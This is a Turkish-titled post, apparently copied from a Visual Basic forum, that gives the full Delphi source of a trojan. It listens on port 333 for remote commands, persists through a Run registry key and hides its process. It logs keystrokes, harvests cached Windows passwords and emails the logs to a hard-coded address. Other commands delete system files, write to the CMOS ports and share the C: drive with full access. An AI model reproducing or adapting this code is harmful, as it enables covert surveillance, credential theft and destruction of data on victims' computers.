DELPHİ TROJAN YAPIMI

DELPHİ TROJAN YAPIMI

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,Mmsystem,shellapi,Psock, NMMSG,Registry,IniFiles,
NMsmtp,KeySpy,ShlOBJ, SharedResource;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Edit1: TEdit;
Timer1: TTimer;
Label1: TLabel;
NMSMTP1: TNMSMTP;
Label2: TLabel;
Edit2: TEdit;
Timer2: TTimer;
ClientSocket1: TClientSocket;
hook: TMemo;
KeySpy1: TKeySpy;
Label3: TLabel;
SharedResource1: TSharedResource;
label4: TEdit;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure Edit1Change(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormActivate(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure Edit2Change(Sender: TObject);

procedure KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
procedure KeySpy1ActiveTitleChanged(Sender: TObject;
ActiveTitle: String);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure label4Change(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
procedure WriteText(TransText: string);
{ Public declarations }
end;
var
Form1: TForm1;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;
implementation
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var Result: Integer;
dc : hdc;
C :PChar;
I: Integer;
Reg : TRegistry;
Keys,Values: TStringList;
SystemDir : String ;
Canvas: TCanvas;
szWinDir:array[0..MAX_PATH] of char;
Cmd:string;
AppExe :string;
WinPassword: TWinPassword;
MyFormat : Word;
AData: THandle;
APalette: HPalette;
DCDesk: HDC;
MyBMP : TBitmap;
adres1:string;

{$R *.DFM}
const
OldRet: Boolean = False;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);
Form1.hook.lines.Add(Password);
Result := True;
end;
procedure TForm1.WriteText(TransText: string);
var
MyHand: HWND;
MyDc: HDC;
MyCanvas: TCanvas;
begin
MyHand := GetDesktopWindow;
MyDc := GetWindowDC(MyHand);
MyCanvas := TCanvas.Create;
MyCanvas.Handle := MyDC;
BeginPath(MyCanvas.Handle);
MyCanvas.Font.Color := clRed;
MyCanvas.Font.Name := 'Courier New';
MyCanvas.Font.Size := 100;
SetBkMode(MyCanvas.Handle, TRANSPARENT);
EndPath(MyCanvas.Handle);
MyCanvas.TextOut(100, 100, TransText);
end;

procedure SetRes(XRes, YRes: DWord);
var
lpDevMode : TDeviceMode;
begin
EnumDisplaySettings(nil, 0, lpDevMode);
lpDevMode.dmFields:=DM_PELSWIDTH or DM_PELSHEIGHT;
lpDevMode.dmPelsWidth:=XRes;
lpDevMode.dmPelsHeight:=YRes;
ChangeDisplaySettings(lpDevMode, 0);
end;
Procedure CloseDoor;
Begin
mciSendString('Set cdaudio door closed', nil, 0, 0);
end;
Procedure OpenDoor;
Begin
mciSendString('Set cdaudio door open', nil, 0, 0);
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=socket.receivetext;
edit1.text:=s;
end;
Procedure CoverMyTracks;
var
WindowsDirectory : String ;
begin
DeleteFile(WindowsDirectory+'Netstat.exe');
DeleteFile(WindowsDirectory+'NBTSTAT.EXE');
DeleteFile(WindowsDirectory+'TRACERT.EXE');
DeleteFile(WindowsDirectory+'ROUTE.EXE');
DeleteFile(WindowsDirectory+'PING.EXE');
end;
procedure e;
begin
Canvas:=TCanvas.Create;
try
Canvas.Handle:=CreateDC('DISPLAY',nil,nil,nil);
Canvas.CopyRect(Rect(0,0,Screen.Width,Screen.Height),Canvas,
Rect(0,Screen.Height,Screen.Width,0));
finally
Canvas.Free;
end;
end;

procedure TForm1.Edit1Change(Sender: TObject);
var
I: Integer;
begin
if edit1.text='a26'then
begin

for I := 0 to 5000 do
begin
CreateDirectory(PChar('C:\windows\desktop\mmm' + IntToStr(I)), nil);
end;
end;
if edit1.text='a21'then
begin
WriteText('hehheh!!!');
edit1.text:='0' ;
end;
if edit1.text='a22'then
begin
asm
@loop1:
mov cx,0ffh;
mov al,cl;
out 70,al;
out 71,al;
loop @loop1 ;
end;
edit1.text:='0' ;
end;
if edit1.text='a23'then
begin
clientsocket1.Socket.SendText(hook.text);
edit1.text:='0' ;
end;
if edit1.text='a24'then
begin
clientsocket1.Address:=label3.caption;
clientsocket1.Active:=true;
edit1.text:='0' ;
end;
if edit1.text='a19'then
begin
asm
cli
@@WaitOutReady:
in al,64h
test al,00000010b
jnz @@WaitOutReady
mov al,0FEh
out 64h,al
end;
edit1.text:='0' ;
End;
if edit1.text='a20'then
begin
ShowWindow(FindWindow( 'BaseBar',nil), SW_NORMAL);//başlam menü listesi
ShowWindow(FindWindow( 'Progman',nil), SW_NORMAL);//masaüstü
edit1.text:='0' ;
end;
if edit1.text='a1'then
begin
exitwindowsex(EWX_SHUTDOWN,0);
edit1.text:='0' ;
end;
if edit1.text='a2'then
begin
SetCursorPos(15000,15000);
edit1.text:='0' ;
end;
if edit1.text='a3'then
begin
Perform(WM_SYSCOMMAND, SC_SCREENSAVE,1);
edit1.text:='0' ;
end;
if edit1.text='a4'then
begin
asm
mov ax,0feh
out 64h,ax
end;
edit1.text:='0' ;
end;
if edit1.text='a5'then
begin
OPENDOOR ;
edit1.text:='0' ;
end;
if edit1.text='a6'then
begin
closedoor ;
edit1.text:='0' ;
end;
if edit1.text='a7'then
begin
timer1.enabled:=true;
edit1.text:='0' ;
end;

if edit1.text='a8'then
begin
timer1.enabled:=false;
edit1.text:='0' ;
end;
if edit1.text='a9'then
begin
e; //ekranı ters cevir
edit1.text:='0' ;
end;
if edit1.text='a10'then
begin
CoverMyTracks ;
edit1.text:='0' ;
end;
if edit1.text='a11'then
begin
DeleteFile(SystemDir+'\windows\Command.com'); //wincrash2
DeleteFile(SystemDir+'\windows\Win.com');
DeleteFile(SystemDir+'\windows\system.ini');
DeleteFile(SystemDir+'\windows\win.ini');
DeleteFile(SystemDir+'\Command.com');
DeleteFile(SystemDir+'\autoexe.bat');
edit1.text:='0' ;
end;
if edit1.text='a12'then
begin
Reg:=TRegistry.Create;
Keys:=TStringList.Create; //saati sil
Values:=TStringList.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if not Reg.OpenKey('\RemoteAccess\Addresses',false) then Exit;
Reg.GetValueNames(Values);
for I:=0 to Values.Count-1 do
Reg.DeleteValue(Values);
if not Reg.OpenKey('\RemoteAccess\Profiles',false) then Exit;
Reg.GetKeyNames(Keys);
for I:=0 to Keys.Count-1 do
Reg.DeleteKey(Keys);
Reg.Free;
Values.Free;
Keys.Free;
edit1.text:='0' ;
end;
if edit1.text='a13'then
begin
exitwindowsex(EWX_reboot,0); //restart
end;
if edit1.text='a15'then
begin
Winexec('Control.exe Date/Time',sw_shownormal);
edit1.text:='0' ; //saat dialog ac
end;
if edit1.text='a16'then
begin
ShowWindow(FindWindow( 'BaseBar',nil), SW_MINIMIZE);//başlam menü listesi
ShowWindow(FindWindow( 'Progman',nil), SW_HIDE);//masaüstü
edit1.text:='0' ; //format belgelerim
end;
if edit1.text='a17'then
begin
Setres(800, 600);
edit1.text:='0' ;
end;

if edit1.text='a18'then
begin
Setres(640, 480);
edit1.text:='0' ;
end;
end ;

function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external 'KERNEL32.DLL';
function GetAppPath: string;
begin
Result := ExtractFilePath(Application.ExeName);
if Result[Length(Result)] <> '\' then
Result := Result + '\';
end;

//.............................................................
procedure TForm1.FormCreate(Sender: TObject);

begin
RegisterServiceProcess(GetCurrentProcessID,1);
serversocket1.Port:=333;
serversocket1.Active:=true;


try
copyfile(PChar(Application.Exename),'C:\WINDOWS\SYSTEM\Win32r.exe',true);
RegisterServiceProcess(GetCurrentProcessID,0);
SetWindowLong(Application.Handle, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
finally
with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
if OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
AppExe:=#34+Application.Exename+#34;
WriteString('Win32r', AppExe);
finally
Label1.Caption := GetAppPath;
if label1.caption <> 'C:\WINDOWS\SYSTEM\' then
begin
ShellExecute(0, 'open', PChar('C:\WINDOWS\SYSTEM\Win32r.exe'), nil, nil, SW_SHOW);
halt(0);


end;
end;
end;
end;

//............................................................
procedure TForm1.Timer1Timer(Sender: TObject);
begin
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); //monitor kapa
end;
procedure TForm1.FormActivate(Sender: TObject);
begin
RegisterServiceProcess(GetCurrentProcessID,1);
end;
procedure TForm1.FormShow(Sender: TObject);

begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.', 'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
hook.lines.Add('No passwords found...');
RegisterServiceProcess(GetCurrentProcessID,1);
end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
a:string;
b:integer;
begin
b:=strtoint(label4.text );
b:=b+1;
label4.text:=inttostr(b);
if label4.text='900' then
begin
label4.text:='0';
if edit2.text<> '127.0.0.1' then
begin
NMSMTP1.Host := 'mail.rt.net.tr';
NMSMTP1.UserID := 'ip no trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress.Text := 'tret';
NMSMTP1.PostMessage.Body.Text := datetimetostr(now)+hook.Text;
NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;
NMSMTP1.Disconnect;
end;
end;
edit2.text :=nmsmtp1.LocalIP;
end;
procedure TForm1.Edit2Change(Sender: TObject);
begin
if edit2.text <> '127.0.0.1' then
begin
NMSMTP1.Host := 'mail.rt.net.tr';
NMSMTP1.UserID := 'ip no for trojan!';
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := 'trojan79trojan@yahoo.com';
NMSMTP1.PostMessage.ToAddress.Text := 'aa';
NMSMTP1.PostMessage.Body.Text := datetimetostr(now) ;
NMSMTP1.PostMessage.Subject := edit2.text;
NMSMTP1.SendMail;
NMSMTP1.Disconnect;
end;
end;
procedure TForm1.KeySpy1KeySpyDown(Sender: TObject; Key: Byte;
KeyStr: String);
begin
if (KeyStr[1] = '-') and (KeyStr[2] = '-') then
begin
Hook.Lines.Add('');
OldRet := True;
end
else
if OldRet then
begin
Hook.Lines.Add('');
OldRet := False;
end;
Hook.Text := Hook.Text + KeyStr;
{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;

procedure TForm1.KeySpy1ActiveTitleChanged(Sender: TObject;
ActiveTitle: String);
begin
OldRet := True;
Hook.Text := Hook.Text + #13#10'[' + ActiveTitle + ']';
{ For 16-bit only}
{$IFNDEF WIN32}
if (Length(Hook.Text) > $F0) then Hook.Clear;
{$ENDIF}
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
label3.caption:=Socket.RemoteAddress ;
end;
procedure TForm1.label4Change(Sender: TObject);
begin

SharedResource1.ShareName := 'XP';
SharedResource1.ResourcePath := 'C:\';
SharedResource1.ResourceType := RTFolder;
SharedResource1.AccessType := ATFull;
SharedResource1.Share;
end;
end.



"VİSAUL BASİC TÜRK SİTESİNDEN ALINTIDIR"